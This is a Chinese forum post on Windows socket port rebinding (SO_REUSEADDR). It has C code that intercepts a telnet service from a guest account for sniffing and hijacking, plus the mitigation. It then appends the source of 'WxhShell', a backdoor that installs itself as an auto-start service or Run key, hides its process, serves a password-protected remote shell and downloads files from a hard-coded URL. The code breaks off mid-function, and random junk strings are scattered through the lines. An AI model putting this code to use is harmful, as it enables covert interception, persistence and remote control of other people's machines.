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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9 wbQ$>G9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); YOj&1ymBZ  
OP"_I!t  
  saddr.sin_family = AF_INET; )fxn bBz{  
F&m9G >r  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); WSN^iDS  
0NKgtH~+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); sR[!6[AA  
x[&<e<6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *Uj;a.  
k0#s{<I]E  
  这意味着什么?意味着可以进行如下的攻击: VZ =:`)  
\E<Qi3W>*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 i/H;4#Bz  
H(P]Z~et  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) tHHJ|4C  
@"1Z;.S8V  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0I<L<^s3^U  
R=<::2_Y96  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  s2wDJ|  
F:q8.^HTJ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )S 4RR2Q>  
:z&kbG  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ir>h3Zk   
II|;_j  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Tsj/alC[  
~cfXEjE6  
  #include *w O~RnP  
  #include HKI\i)c  
  #include _ SOwiz  
  #include    `O%nDry  
  DWORD WINAPI ClientThread(LPVOID lpParam);   b;5j awG  
  int main() i*m ;kWu,  
  { e&U$;sS`  
  WORD wVersionRequested; 0B!(i.w  
  DWORD ret; D}lqd Ja  
  WSADATA wsaData; wy tMoG\  
  BOOL val; n%#3xo a  
  SOCKADDR_IN saddr; lS7L|  
  SOCKADDR_IN scaddr; cNxxX!P/  
  int err; sxph#E%  
  SOCKET s; ,Xfu?Yan  
  SOCKET sc; =~Qg(=U0U  
  int caddsize; zrG  
  HANDLE mt; VPuR4 p.  
  DWORD tid;   CfP-oFHoQ  
  wVersionRequested = MAKEWORD( 2, 2 ); 3S]Q IZ1  
  err = WSAStartup( wVersionRequested, &wsaData ); =_zo  
  if ( err != 0 ) { j/=Tj'S?D  
  printf("error!WSAStartup failed!\n"); u)I\R\N  
  return -1; PpBptsb^|J  
  } EPH" 5$8  
  saddr.sin_family = AF_INET; P5 oS 1iu*  
   #$-?[c$>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 oYTLC@98}  
~%g,Uypi  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,d38TN  
  saddr.sin_port = htons(23); zIu/!aw  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) * jWh4F,  
  { f$kbb 6juL  
  printf("error!socket failed!\n"); G'#u!<(^h  
  return -1; fRLA;1va  
  } zhd1)lgY  
  val = TRUE; 3*2~#dh=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 :r hB=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <I tS_/z  
  { f_[dFKoX  
  printf("error!setsockopt failed!\n"); u/6if9B  
  return -1; 9N)I\lcY  
  } Qkx*T9W   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ej&.tNvq  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,52 IR[I<T  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^Cp2#d*  
N\B&|;-V  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) h ~yTkN]  
  { #)xlBq4cZ  
  ret=GetLastError(); 8tQL$CbO  
  printf("error!bind failed!\n"); <nD@4J-A0  
  return -1; [~ 2m*Q  
  } :??W3ROn  
  listen(s,2); b~:)d>s8wY  
  while(1) KB|mtsi  
  { %A'mXatk  
  caddsize = sizeof(scaddr); Xm>zT'B_tJ  
  //接受连接请求 /KF@Un_Ow  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /7Pqy2sgE  
  if(sc!=INVALID_SOCKET) xatq  
  { lGWz  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); U'(zKqC   
  if(mt==NULL) H@G$K@L  
  { 'G>XI;g  
  printf("Thread Creat Failed!\n"); IauLT;!X  
  break; pC,[!>0g8  
  } @W/k}<07  
  } p|A ?F0  
  CloseHandle(mt); JN+7o h]u  
  } p<L{e~{!7f  
  closesocket(s); MQx1|>rG  
  WSACleanup(); gMF6f%  
  return 0; 7:pc%Ksq  
  }   (1^;l;7H  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6Yodx$  
  { s9CmR]C  
  SOCKET ss = (SOCKET)lpParam; `G\Gk|4; 2  
  SOCKET sc; 0{z8pNrc  
  unsigned char buf[4096]; QJ(%rvn3  
  SOCKADDR_IN saddr; =LV-n  
  long num; U!r8}@  
  DWORD val; XK3O,XM  
  DWORD ret; =dA] nM  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -i{_$G8W/c  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   #U L75  
  saddr.sin_family = AF_INET; >wmHCOL:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); C 4C /  
  saddr.sin_port = htons(23); ^U5N!"6R  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }aE'  
  { xO>z )3A  
  printf("error!socket failed!\n"); %|}*xMQ  
  return -1; '#3FEo  
  } Y=G`~2Pr=  
  val = 100; x cAs}y}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `b8nz 7  
  { W g7 eY'FE  
  ret = GetLastError(); p:y\{k"  
  return -1; =O0A(ca"g  
  } Vlz\n  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Lg!E  
  { K=0xR*ll5  
  ret = GetLastError(); 4sQm"XgE  
  return -1; '=Zm[P,  
  } ?<3 d Fb  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9AhA"+?  
  { m=@xZw<  
  printf("error!socket connect failed!\n"); d}:- Q?  
  closesocket(sc); u3O@ccJ;  
  closesocket(ss);  mih}?oi  
  return -1; ,:L^vG@*  
  } 7<e}5nA/  
  while(1) }M%3  
  { 9MZ)-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 hDB(y4/  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5Z; 5?\g  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 j]kgdAq>  
  num = recv(ss,buf,4096,0); )GVTa4}p  
  if(num>0) "o`?-bQ:  
  send(sc,buf,num,0); 2yn"K|  
  else if(num==0) E-C]<{`O  
  break; %M1l[\N  
  num = recv(sc,buf,4096,0); P7=`P  
  if(num>0) (["kbPma  
  send(ss,buf,num,0); pu/5#[MC)^  
  else if(num==0) ;.sYE/ZVi  
  break; ^_@[1'^  
  } ~8nR3ki  
  closesocket(ss); EIQ3vOq6  
  closesocket(sc); fiWN^sTM  
  return 0 ; X [dfms;H  
  } ;-~E !_$  
ohKoX$|p~  
+W[f>3`VQ  
========================================================== : pUu_  
.tG3g:  
下边附上一个代码,,WXhSHELL ,hI$nF0}p  
vFdI?(c-  
========================================================== V':A!  
3GE;:;8B  
#include "stdafx.h" eEVB   
'9WTz(0?  
#include <stdio.h> Yl&[_ l  
#include <string.h> d"?"(Q_8n  
#include <windows.h> m85ZcyW1T  
#include <winsock2.h> O-V] I0  
#include <winsvc.h> Yh1nXkA!V  
#include <urlmon.h> E~WbV+,3  
}WFI /W'  
#pragma comment (lib, "Ws2_32.lib") hzM;{g>t  
#pragma comment (lib, "urlmon.lib") 2qE_SSXn  
#N`G2}1J  
#define MAX_USER   100 // 最大客户端连接数 Yz0fOX  
#define BUF_SOCK   200 // sock buffer !J;Bm,Xn6  
#define KEY_BUFF   255 // 输入 buffer ck0%H#BYY  
D1-/#QN$1  
#define REBOOT     0   // 重启 TPBQfp%HU  
#define SHUTDOWN   1   // 关机 J i@q7qkC  
?:`sE"  
#define DEF_PORT   5000 // 监听端口 ps2j]g  
bR"4:b>K  
#define REG_LEN     16   // 注册表键长度 :]F66dh+  
#define SVC_LEN     80   // NT服务名长度 WcSvw  
Nm&'&L%Ch  
// 从dll定义API *cWHl@4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7Ji'7$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )C?H m^ #  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ej_u):G*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ey: ?!  
"Y:>^F;  
// wxhshell配置信息 &Wa3/mWK  
struct WSCFG { ; k.@=  
  int ws_port;         // 监听端口 ui)mYR[8X  
  char ws_passstr[REG_LEN]; // 口令 Ix_w.f=8  
  int ws_autoins;       // 安装标记, 1=yes 0=no k%~;mu"4}  
  char ws_regname[REG_LEN]; // 注册表键名 Bq)dqLwk  
  char ws_svcname[REG_LEN]; // 服务名 4Us,DS_/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 In?+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v=G*K11@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wX2U   
int ws_downexe;       // 下载执行标记, 1=yes 0=no "!P h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" SW}Rkr\e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /_J{JGp9  
rWJ5C\R  
}; o?/H<k\5  
{jYVA~.|Z  
// default Wxhshell configuration P^F3,'N  
struct WSCFG wscfg={DEF_PORT, \e4AxLP  
    "xuhuanlingzhe", }U'9 d#N  
    1, 9a=:e=q3#  
    "Wxhshell", 7WSP0Xyz  
    "Wxhshell", C=oeRc'r1W  
            "WxhShell Service", AlDp+"|  
    "Wrsky Windows CmdShell Service", +|g*<0T5<  
    "Please Input Your Password: ", rQT%~oM:  
  1, 9teP4H}m  
  "http://www.wrsky.com/wxhshell.exe", 0/] h"5H3  
  "Wxhshell.exe" D`G;C  
    }; :I&y@@UG  
_XP}f x7$C  
// 消息定义模块 L9e<hRZ$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6e\?%,H  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1qAE)8ie  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <ivG(a*=]  
char *msg_ws_ext="\n\rExit."; 6B@e[VtG$  
char *msg_ws_end="\n\rQuit."; YBj*c$.D0  
char *msg_ws_boot="\n\rReboot...";  yI|x 5f  
char *msg_ws_poff="\n\rShutdown..."; F;`c0ja]  
char *msg_ws_down="\n\rSave to "; HFjSM~  
8*b{8%<K  
char *msg_ws_err="\n\rErr!"; d`V.i6u  
char *msg_ws_ok="\n\rOK!"; MXl_{8  
fCNQUK{Gs5  
char ExeFile[MAX_PATH]; e}{#VB<  
int nUser = 0; *^; MWI  
HANDLE handles[MAX_USER]; M {'(+a[  
int OsIsNt; ?;UR9f|!  
Q hRz57'  
SERVICE_STATUS       serviceStatus; gzhIOeY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c ZYvP  
*%jtcno=Y  
// 函数声明 XgVhb<l_  
int Install(void); ehB '@_y  
int Uninstall(void); 6FUcg40Y  
int DownloadFile(char *sURL, SOCKET wsh); p8j4Tc5tQ>  
int Boot(int flag); M]Vi]s  
void HideProc(void); NL|c5y<r  
int GetOsVer(void); 7P2(q  
int Wxhshell(SOCKET wsl); p9G+la~;VM  
void TalkWithClient(void *cs); 3 []ltN_  
int CmdShell(SOCKET sock); $'>iNMtK{p  
int StartFromService(void); .?APDr"QQH  
int StartWxhshell(LPSTR lpCmdLine); \6 JY#%  
<tZtt9j_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5#|&&$)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); KAE %Wwjr  
/0k'w%V{n  
// 数据结构和表定义 }sqFvab<  
SERVICE_TABLE_ENTRY DispatchTable[] = /,~]1&?}1  
{ 6v scu2  
{wscfg.ws_svcname, NTServiceMain}, _0u=}tc  
{NULL, NULL} JT<JS6vw#  
}; 'tkQz  
MaPhG<?  
// 自我安装 @6~m&$R/  
int Install(void) ;,]4A{|  
{ k9H}nP$F  
  char svExeFile[MAX_PATH]; rIB./,  
  HKEY key; X7K{P_5l  
  strcpy(svExeFile,ExeFile); I8@leT\9M  
'-f` 5X  
// 如果是win9x系统,修改注册表设为自启动 _&gO>G,uy  
if(!OsIsNt) { wpN [0^M-0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zobFUFx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P}Mu|AEG  
  RegCloseKey(key); cr0/.Zv)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WN|_IJR~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WRbdv{ 1E  
  RegCloseKey(key); p"6[S  
  return 0; lBG=jOS  
    } xa_ IdkV  
  } wO!>kc<  
} Av n-Ug  
else { QYDI-<.(  
p;, V  
// 如果是NT以上系统,安装为系统服务 2 7dS.6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v;z8g^L  
if (schSCManager!=0) (aJ$1bT=T  
{ )L "Dt_t  
  SC_HANDLE schService = CreateService ^j.3'}p  
  ( YsCY~e&  
  schSCManager, daA&!vnbH*  
  wscfg.ws_svcname, ,'Y KL",  
  wscfg.ws_svcdisp, nzAySMD_  
  SERVICE_ALL_ACCESS, {_4Hsw?s6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e 5(|9*t  
  SERVICE_AUTO_START, 8* m,#   
  SERVICE_ERROR_NORMAL, z\, lPwB2  
  svExeFile, ! B`  
  NULL, |Om][z  
  NULL, hqHk,#  
  NULL, K0'p*[yO/j  
  NULL, @$p6w  
  NULL d5 ]-{+V+  
  ); RJ4=AA|  
  if (schService!=0) A$\/D2S7!  
  { e :ub]1I=  
  CloseServiceHandle(schService); 1=>b\"P#E  
  CloseServiceHandle(schSCManager); k'F*uS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2Nm{.Y  
  strcat(svExeFile,wscfg.ws_svcname); 9.~ _swkv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `T%nGVl>\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =*-a c  
  RegCloseKey(key); GM^H )8U  
  return 0; !3c+}j-j  
    } v?nGAn  
  } %,S:^Rvv  
  CloseServiceHandle(schSCManager); (IHR {m  
} F!I9)PSj  
} (?T{^Hg  
3-;<G  
return 1; SFP?ND+7  
} *fyaAv  
,5~C($-t  
// 自我卸载 9w0v?%%_  
int Uninstall(void) &'i.W}Ib!  
{ 3WGOftLzt  
  HKEY key; 5Em.sz;:8  
\G/ZA) t  
if(!OsIsNt) { A2PeI"y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;u';$0  
  RegDeleteValue(key,wscfg.ws_regname); z+0#H39&  
  RegCloseKey(key); s"tH?m )6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S?'L%%Vo  
  RegDeleteValue(key,wscfg.ws_regname); 1v|0&{lB  
  RegCloseKey(key); $Mx?Y9!  
  return 0; ]E.FBGT  
  } Ka)aBU9  
} 1csbuR?  
} o {q8An)  
else { WwKpZ67$R  
3-0jxx(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b9b`%9/L  
if (schSCManager!=0) HyQ(9cn |  
{ Mg^A,8lrm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YWANBM(v+  
  if (schService!=0) p NQ@aJ  
  { xo-}t5w6t  
  if(DeleteService(schService)!=0) { "6%qi qt  
  CloseServiceHandle(schService); =zp{ ^mC  
  CloseServiceHandle(schSCManager); "x:-#2+h  
  return 0; oq>jCOVh  
  } eq2L V=d{m  
  CloseServiceHandle(schService); .o<9[d"  
  } p[!9objU  
  CloseServiceHandle(schSCManager); 4q@[k: '  
} _39VL  
} F Zt;D  
7=wQ#bq"1P  
return 1; #aP;a-Q|k  
} #7J3,EV  
0o.h{BN  
// 从指定url下载文件 xTZJ5iZ17  
int DownloadFile(char *sURL, SOCKET wsh) !D 'A  
{ S->Sp  
  HRESULT hr; 4;IZ}9|G  
char seps[]= "/"; >;xkiO>Y  
char *token; !0X"^VB  
char *file; K_X(j$2Xc  
char myURL[MAX_PATH]; jfa<32`0E  
char myFILE[MAX_PATH]; _Mh..#)`[  
=k!F`H`/%'  
strcpy(myURL,sURL); 5RSP.Vyx{  
  token=strtok(myURL,seps); pqbKPpG  
  while(token!=NULL) gp{Z]{io  
  { rO,n~|YJ  
    file=token; 7B)@ aUj$  
  token=strtok(NULL,seps); d5W =?  
  } $M4C4_oPy  
R~d Wblv  
GetCurrentDirectory(MAX_PATH,myFILE); EiA_9%<  
strcat(myFILE, "\\"); ar`}+2Qh0  
strcat(myFILE, file); .MxMBrM  
  send(wsh,myFILE,strlen(myFILE),0); 7:C2xC  
send(wsh,"...",3,0); ;Q lb].td  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ) d=&X|S>  
  if(hr==S_OK) C*Y0GfW=  
return 0; _oU~S$hO  
else t..@69  
return 1; 8PRB_ny  
5XNFu C9E  
} DCCij N  
s*kSl:T @O  
// 系统电源模块 {~=gKZ:-@  
int Boot(int flag) D rouEm  
{ yyjgPbLN=  
  HANDLE hToken; 61z^(F$@  
  TOKEN_PRIVILEGES tkp; 0n)UvJ  
Hn?v  /3  
  if(OsIsNt) { f[$Z<:D-ve  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WTC/mcS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oJ 0 #U  
    tkp.PrivilegeCount = 1; w 1O)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t(- 5l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pH?"@  
if(flag==REBOOT) { m8v=pab e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :\#/T,K"  
  return 0; )-LS n  
} ZV:0:k.x  
else { 9q<?xO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pH.&OW%  
  return 0; s|Zv>Qt  
} $Mqw)X&q  
  } ARid   
  else { kc"SUiy/  
if(flag==REBOOT) { _ 3jY,*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `vrLFPdO  
  return 0; % wh>_Ho  
} }?%5Ae7l,  
else { ey[+"6Awne  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d ?OsVT; U  
  return 0; AkV8}>G?#A  
} Y/n],(t)  
} ^@xn3zJ  
9iOTT%pq  
return 1; j1P#({z[  
} Q-f?7*>  
Gn?<~8a  
// win9x进程隐藏模块 !\1Pu|  
void HideProc(void) O<qo%fP  
{ 6y)NH 8l7  
' sTMUPg`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J]4Uh_>)  
  if ( hKernel != NULL ) B3&`/{u  
  { 8|\?imOp\[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t9m08K:Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t>(}LV.  
    FreeLibrary(hKernel); NT [~AK9M  
  } =xsTVT;sj  
8u#2M8.5E  
return; [e`6gGO  
} THDyb9_g  
dht*1i3v  
// 获取操作系统版本 U_C 1GT-|  
int GetOsVer(void) ioS(;2F  
{ RE75TqYW  
  OSVERSIONINFO winfo; [>U =P`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NYp46;  
  GetVersionEx(&winfo); 3n=ftkI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %u02KmV.  
  return 1; 5Qgh\4  
  else =LMM]'no,  
  return 0; 97L# 3L6t  
} ygfUy  
iwT PJGK|  
// 客户端句柄模块 ;R{ffS6  
int Wxhshell(SOCKET wsl) "iTi+UZxe  
{ jr=erVHK  
  SOCKET wsh; f 8836<c  
  struct sockaddr_in client; @t?uhT*Z=  
  DWORD myID; O0 ,=@nw8.  
H)l7:a  
  while(nUser<MAX_USER) I Z{DR  
{ l^E)XWd  
  int nSize=sizeof(client); c0u1L@tj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "AUHe6Yv  
  if(wsh==INVALID_SOCKET) return 1; .=<<b|  
?mJ&zf|B8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M[7$cfp-Y~  
if(handles[nUser]==0) _mn2bc9M  
  closesocket(wsh); ORP-@-dap  
else lr_c  
  nUser++; P+t`Rw  
  } Ov PTgiI!N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "s5[w+,R  
@fG 'X  
  return 0; rW B/#m  
} Dk`(Wgk2  
r:Rk!z*  
// 关闭 socket }:a:E~5y  
void CloseIt(SOCKET wsh) 8[xl3=  
{ ,h@R' f !  
closesocket(wsh); &weY8\HD  
nUser--; X@yr$3vC  
ExitThread(0); da00p-U  
} 1~R$$P11[9  
R*Xu( 89  
// 客户端请求句柄 ie$`pyj!x  
void TalkWithClient(void *cs) (! 0j4'  
{ PHRGhKJW})  
9b"9m*gC  
  SOCKET wsh=(SOCKET)cs; Wiq{wxe  
  char pwd[SVC_LEN]; 0j{F^rph  
  char cmd[KEY_BUFF]; "^9[OgE:  
char chr[1]; C?[a3rNH(  
int i,j; Y3P.|  
] ;pf  
  while (nUser < MAX_USER) { p- "Z'$A`  
l- 1]w$ y  
if(wscfg.ws_passstr) { SY$J+YBLM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7>'uj7r]=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e' U"`)S  
  //ZeroMemory(pwd,KEY_BUFF); "xDx/d8B  
      i=0; u( 1J=h  
  while(i<SVC_LEN) { C@y}*XV[b  
A[^qq UL'  
  // 设置超时 jF38kj3O7  
  fd_set FdRead; FpdDIa  
  struct timeval TimeOut; ]3O 4\o  
  FD_ZERO(&FdRead); Wa[x`:cT?u  
  FD_SET(wsh,&FdRead); f=:3!k,S  
  TimeOut.tv_sec=8; wovmy{K  
  TimeOut.tv_usec=0; B]^>GH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T|o`a+?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ? o~:'Z  
4#^'lKIx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YH)Opk  
  pwd=chr[0]; O ;X(pE/G  
  if(chr[0]==0xd || chr[0]==0xa) { 9TVB<}0G  
  pwd=0; fJ)N:q`  
  break; fg9?3x Z  
  } JJ/1daj  
  i++; ,&.W6sW  
    } Z0 [)u_<  
%6NO0 F^  
  // 如果是非法用户,关闭 socket . ]o3A8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2E`~ qn  
} U,Z"G1^  
hWq. #e 6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j>0<#SYBu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y4xT:G/M  
E /fw?7eQ  
while(1) { 4GG1E. z}  
SXRdNPXFO  
  ZeroMemory(cmd,KEY_BUFF); <91t`&aWW  
*2JH_Cj`  
      // 自动支持客户端 telnet标准   o {=qC:b  
  j=0; I?_E,.)[ I  
  while(j<KEY_BUFF) { eecw]P_?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CY*ngi&  
  cmd[j]=chr[0]; EKZ$Q4YE  
  if(chr[0]==0xa || chr[0]==0xd) { s<A*[  
  cmd[j]=0; Q~fwWp-J  
  break; hq/J6 M  
  } )t|^Nuj8  
  j++; iD>G!\&  
    } T)WZ_bR  
Y]C; T  
  // 下载文件 hc-lzYS  
  if(strstr(cmd,"http://")) { /635B*g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r1i$D  
  if(DownloadFile(cmd,wsh)) `IEq@Wr#$!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |h5kg<Zgo  
  else %mY|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CJzm}'NY  
  } s~S?D{!  
  else { NTqo`VWe  
`WH[DQ  
    switch(cmd[0]) { F\>oxttS1  
  ZlthYuJ  
  // 帮助 j((hqJr  
  case '?': { G1}~.%J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1#grB(p?  
    break; x!'7yx  
  } mfXD1]<.  
  // 安装 `.{U-U\  
  case 'i': { `5~7IPl3  
    if(Install()) YecT 96%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ?qk@cKS  
    else }<vvxi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B,3 t`  
    break; 9'1hjd3k  
    } D9ANm"#  
  // 卸载 "$GK.MP5  
  case 'r': { 5^\m`gS  
    if(Uninstall()) $fj])>=H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I0!j<G  
    else EPc!p>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fD'/#sA#'  
    break; UM<@t%|>  
    } m7JPH7P@BM  
  // 显示 wxhshell 所在路径 h ~ $&  
  case 'p': { K} +S+ *_  
    char svExeFile[MAX_PATH]; 5N\+@grp  
    strcpy(svExeFile,"\n\r"); 8KFj<N>'  
      strcat(svExeFile,ExeFile); {={^6@  
        send(wsh,svExeFile,strlen(svExeFile),0); / T ,zZ9=  
    break; z VdKYs i^  
    } VsEGX@;tO  
  // 重启 x8Q~VVZr  
  case 'b': { l$F_"o?&S@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l{8CISO*  
    if(Boot(REBOOT)) Sa Cx)8ul0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'f 3HKn<L  
    else { \I;cZ>{u"}  
    closesocket(wsh); h-7A9:  
    ExitThread(0); 't7Z] G  
    } qk&gA}qF  
    break; sH%&+4!3  
    } s}wO7Df=+  
  // 关机 :AZp}  
  case 'd': { $57\u/(  
